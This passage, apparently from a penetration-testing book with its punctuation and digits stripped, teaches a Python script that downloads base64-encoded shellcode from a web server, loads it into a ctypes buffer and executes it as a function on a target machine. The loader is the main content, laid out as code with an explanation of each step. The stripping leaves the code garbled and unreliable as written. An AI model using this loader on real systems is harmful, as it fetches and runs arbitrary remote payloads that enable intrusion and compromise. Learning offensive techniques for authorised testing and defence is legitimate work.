there might come time when you want to be able to interact with one of your target machinesor use juicy new exploit module from your favorite penetration testing or exploit framework this typically -though not always -requires some form of shellcode execution in order to execute raw shellcodewe simply need to create buffer in memoryand using the ctypes modulecreate function pointer to that memory and call the function in our casewe're going to use urllib to grab the shellcode from web server in base format and then execute it let' get startedopen up shell_exec py and enter the following codeimport urllib import ctypes import base retrieve the shellcode from our web server url response urllib urlopen(urldecode the shellcode from base shellcode base decode(response read()create buffer in memory shellcode_buffer ctypes create_string_buffer(shellcodelen(shellcode)create function pointer to our shellcode shellcode_func ctypes cast(shellcode_bufferctypes cfunctype (ctypes c_void_p)call our shellcode shellcode_func(how awesome is thatwe kick it off by retrieving our base -encoded shellcode from our web server we then allocate buffer to hold the shellcode after we've decoded it the ctypes cast function allows us to cast the buffer to act like function pointer so that we can call our shell-code like we would call any normal python function we finish it up by calling our function pointerwhich then causes the shellcode to execute